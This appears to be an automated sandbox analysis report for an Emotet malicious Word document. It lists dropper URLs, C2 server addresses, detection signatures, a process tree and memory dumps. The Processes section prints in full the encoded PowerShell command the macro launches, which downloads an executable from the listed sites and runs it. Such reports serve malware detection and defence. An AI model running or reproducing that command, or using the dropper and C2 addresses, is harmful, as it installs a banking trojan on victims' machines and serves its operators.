Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    100s
  • max time network
    101s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    20/10/2020, 14:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_417b6bf7007bb95e5fb990fa4fe11c7ada2f568904b2dc63d5eed025823a759a_2020-10-20__141709601234._doc.doc
  • Size 166KB
  • Sample201020-e3xpm2wthe
  • SHA256 417b6bf7007bb95e5fb990fa4fe11c7ada2f568904b2dc63d5eed025823a759a
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://inventorelectronica.com/wp-admin/M/
  • exe.dropper

    http://aguemiimoveis.com/bond-market/73a/
  • exe.dropper

    http://upcloudweb.com/content/a/
  • exe.dropper

    http://methilinfotech.com/maliga/th/
  • exe.dropper

    https://statusquobrand.com/1/HS/
  • exe.dropper

    https://www.breedenandsilver.com/wp-content/ix6/
  • exe.dropper

    http://cefaly.club/themes/lA/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 173.68.199.157:80

  • 59.148.253.194:8080

  • 173.212.197.71:8080

  • 98.103.204.12:443

  • 2.45.176.233:80

  • 45.33.77.42:8080

  • 181.58.181.9:80

  • 219.92.13.25:80

  • 12.163.208.58:80

  • 2.85.9.41:8080

  • 172.104.169.32:8080

  • 149.202.72.142:7080

  • 189.223.16.99:80

  • 216.47.196.104:80

  • 191.97.154.2:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 46.105.114.137:8080

  • 177.144.130.105:8080

  • 174.118.202.24:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_417b6bf7007bb95e5fb990fa4fe11c7ada2f568904b2dc63d5eed025823a759a_2020-10-20__141709601234._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMARQB0AC0ASQB0AEUAbQAgAHYAQQBSAEkAYQBCAEwAZQA6AFQAcwB2ADMATQBlACAAIAAoACAAIABbAHQAeQBQAGUAXQAoACcAcwB5AHMAVABlAE0ALgBpACcAKwAnAE8AJwArACcALgAnACsAJwBEACcAKwAnAGkAcgBlAEMAdABvAHIAeQAnACkAIAAgACkAOwAgACAAIABzAGUAVAAgACAAKAAnAGwAYQAnACsAJwBqAEgAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACcAUwB5AHMAdABFACcAKwAnAG0ALgAnACsAJwBuAEUAVAAnACsAJwAuAFMARQByAFYAaQBDACcAKwAnAGUAUAAnACsAJwBvAGkATgAnACsAJwB0AG0AYQBOACcAKwAnAEEARwBFAHIAJwApACkAIAA7ACAAIABTAEUAVAAgACAAdQA0AGgAMQA5ACAAIAAoAFsAVABZAHAARQBdACgAJwBzAHkAJwArACcAUwB0AEUAbQAuAG4AZQB0AC4AcwAnACsAJwBFACcAKwAnAGMAVQBSAEkAdAB5AFAAJwArACcAcgBPAHQAJwArACcAbwBDAE8AJwArACcAbAB0AFkAUABFACcAKQApADsAIAAgACQARQA4AGUAaABnAGkANgA9ACgAJwBOACcAKwAnADYAeQBrACcAKwAnAHIAOAAwACcAKQA7ACQAWABhADQAcABiAGkAYwA9ACQAQQAwAGwAdQB4AHEAbQAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAFIAdgBuAGoAOQB2ADgAOwAkAFkAaQBpAGUAZQA2AHkAPQAoACcARQAnACsAJwBxAHcAcgAnACsAJwB4AHYAagAnACkAOwAgACAAJAB0AFMAVgAzAE0AZQA6ADoAYwBSAEUAQQBUAGUAZABJAHIARQBjAFQAbwBSAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHQAUgBqACcAKwAnAEwAYQBoAGYAbABrADYAdABSAGoAUgAnACsAJwBlAGoAMgAnACsAJwBsAHgAYwAnACsAJwB0ACcAKwAnAFIAagAnACkAIAAgAC0AYwByAGUAcABsAGEAQwBlACcAdABSAGoAJwAsAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAEUAdgAxAG4AbQBzADgAPQAoACcAUAAnACsAJwB5ACcAKwAnAHUAdwA2AHcANQAnACkAOwAgACAAKABDAEgAaQBMAGQASQBUAGUAbQAgACAAKAAiAFYAIgArACIAYQByAGkAIgArACIAQQBCACIAKwAiAGwAZQA6AEwAIgArACIAYQBqAGgAIgApACkALgBWAEEATABVAGUAOgA6AHMARQBjAHUAcgBpAHQAWQBQAHIAbwBUAE8AQwBPAGwAIAA9ACAAIAAoACAARwBFAHQALQBpAHQAZQBtACAAIAB2AGEAUgBJAEEAQgBsAEUAOgB1ADQASAAxADkAIAAgACkALgB2AEEATAB1AGUAOgA6AHQATABTADEAMgA7ACQAWQBvAG0AaQB5ADYAdQA9ACgAJwBIAGQAbwBnADUAJwArACcANgA1ACcAKQA7ACQAVAB0AGwAYgBuAGgAbAAgAD0AIAAoACcASQB3ACcAKwAnAGQAbQA3AHQAJwApADsAJABMAG0AcwB0AHEAbABjAD0AKAAnAE8AeAB5AHMAaQBqACcAKwAnAGIAJwApADsAJABJAGEAdABjAGkAZQAxAD0AKAAnAFMAJwArACcANQByAGsAagBzAHIAJwApADsAJABYAGQANQAzAHYANgB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGoARAA0ACcAKwAnAEwAYQBoAGYAbABrACcAKwAnADYAagBEADQAUgBlACcAKwAnAGoAJwArACcAMgBsAHgAJwArACcAYwAnACsAJwBqACcAKwAnAEQANAAnACkALgBSAEUAUABsAEEAQwBlACgAJwBqAEQANAAnACwAJwBcACcAKQApACsAJABUAHQAbABiAG4AaABsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABLAHEANwA3AGcAbABlAD0AKAAnAEcAMQAnACsAJwA1AHUAZgBuACcAKwAnAHcAJwApADsAJABaAF8AZgBnADYAZgBwAD0ATgBlAHcAYAAtAGAAbwBCAGoARQBDAFQAIABOAGUAdAAuAHcAZQBCAGMAbABJAEUAbgBUADsAJABLADMAdQA3ADEAcgBrAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AaQBuAHYAZQBuACcAKwAnAHQAbwByAGUAJwArACcAbABlAGMAdAAnACsAJwByACcAKwAnAG8AbgBpAGMAYQAuAGMAbwAnACsAJwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AJwArACcATQAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBhAGcAdQBlACcAKwAnAG0AaQBpACcAKwAnAG0AJwArACcAbwB2AGUAaQAnACsAJwBzAC4AYwBvAG0AJwArACcALwAnACsAJwBiAG8AbgBkAC0AbQBhAHIAJwArACcAawBlAHQAJwArACcALwA3ADMAYQAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwB1AHAAYwAnACsAJwBsAG8AJwArACcAdQBkAHcAZQBiACcAKwAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAYQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwBtACcAKwAnAGUAJwArACcAdABoAGkAbAAnACsAJwBpACcAKwAnAG4AZgAnACsAJwBvACcAKwAnAHQAZQBjACcAKwAnAGgALgBjAG8AbQAvACcAKwAnAG0AYQBsAGkAJwArACcAZwBhAC8AJwArACcAdAAnACsAJwBoAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKwAnAC8AcwB0AGEAdAB1AHMAcQB1AG8AJwArACcAYgByAGEAbgBkAC4AJwArACcAYwBvAG0ALwAxAC8ASABTAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3ACcAKwAnAHcALgAnACsAJwBiAHIAZQBlAGQAZQAnACsAJwBuAGEAbgAnACsAJwBkACcAKwAnAHMAaQAnACsAJwBsAHYAJwArACcAZQByAC4AYwBvACcAKwAnAG0AJwArACcALwAnACsAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC8AaQB4ADYALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AYwBlACcAKwAnAGYAYQBsAHkALgBjAGwAdQBiAC8AdAAnACsAJwBoAGUAbQAnACsAJwBlAHMALwBsAEEALwAnACkALgBzAHAAbABJAFQAKAAkAEgAcwAzAGwAbQByADEAIAArACAAJABYAGEANABwAGIAaQBjACAAKwAgACQAUQB2ADUAdwA1ADMAZQApADsAJABFAHcAZAAzAG4AZgA5AD0AKAAnAFgAegA1ACcAKwAnAHMAawBnADIAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABZADYAYwB2AGsAagBtACAAaQBuACAAJABLADMAdQA3ADEAcgBrACkAewB0AHIAeQB7ACQAWgBfAGYAZwA2AGYAcAAuAEQATwBXAG4AbABvAEEAZABmAGkATABlACgAJABZADYAYwB2AGsAagBtACwAIAAkAFgAZAA1ADMAdgA2AHYAKQA7ACQARgB5AGEAMgAxAGYAMgA9ACgAJwBUAHUAagB2AHMAJwArACcAcwBhACcAKQA7AEkAZgAgACgAKABHAEUAVAAtAEkAVABgAGUATQAgACQAWABkADUAMwB2ADYAdgApAC4AbABFAE4AZwB0AEgAIAAtAGcAZQAgADMAMQAxADEAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQBuADMAMgBfAFAAJwArACcAcgBvACcAKwAnAGMAZQBzACcAKwAnAHMAJwApACkALgBDAHIAZQBBAFQAZQAoACQAWABkADUAMwB2ADYAdgApADsAJABUAG8AdQBqADYAcQBlAD0AKAAnAFQAcAB5AHkAJwArACcAaABiACcAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABMAG8AZwAzAG8AbQBhAD0AKAAnAEUAYQA1ADgAJwArACcAbgB0AHAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADcAdAAzAGcAZQBvAD0AKAAnAFgAZgAwADIAJwArACcAZABrAHQAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2004
  • C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
    C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Windows\SysWOW64\KBDBE\ActionCenterCPL.exe
      "C:\Windows\SysWOW64\KBDBE\ActionCenterCPL.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1244

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1156-16-0x0000000000380000-0x0000000000399000-memory.dmp
        Download

        memory/1156-17-0x00000000003A0000-0x00000000003B8000-memory.dmp
        Download

        memory/1220-22-0x000007FEF70D0000-0x000007FEF734A000-memory.dmp
        Download

        memory/1244-21-0x00000000002A0000-0x00000000002B8000-memory.dmp
        Download

        memory/1244-20-0x0000000000280000-0x0000000000299000-memory.dmp
        Download

        memory/1620-3-0x0000000006F70000-0x0000000007170000-memory.dmp
        Download

        memory/1620-2-0x00000000087F0000-0x00000000087F4000-memory.dmp
        Download

        memory/2004-9-0x000000001AD70000-0x000000001AD71000-memory.dmp
        Download

        memory/2004-13-0x000000001BA20000-0x000000001BA21000-memory.dmp
        Download

        memory/2004-12-0x0000000002620000-0x0000000002621000-memory.dmp
        Download

        memory/2004-11-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/2004-10-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/2004-8-0x0000000002000000-0x0000000002001000-memory.dmp
        Download

        memory/2004-7-0x000007FEE9E90000-0x000007FEEA87C000-memory.dmp
        Download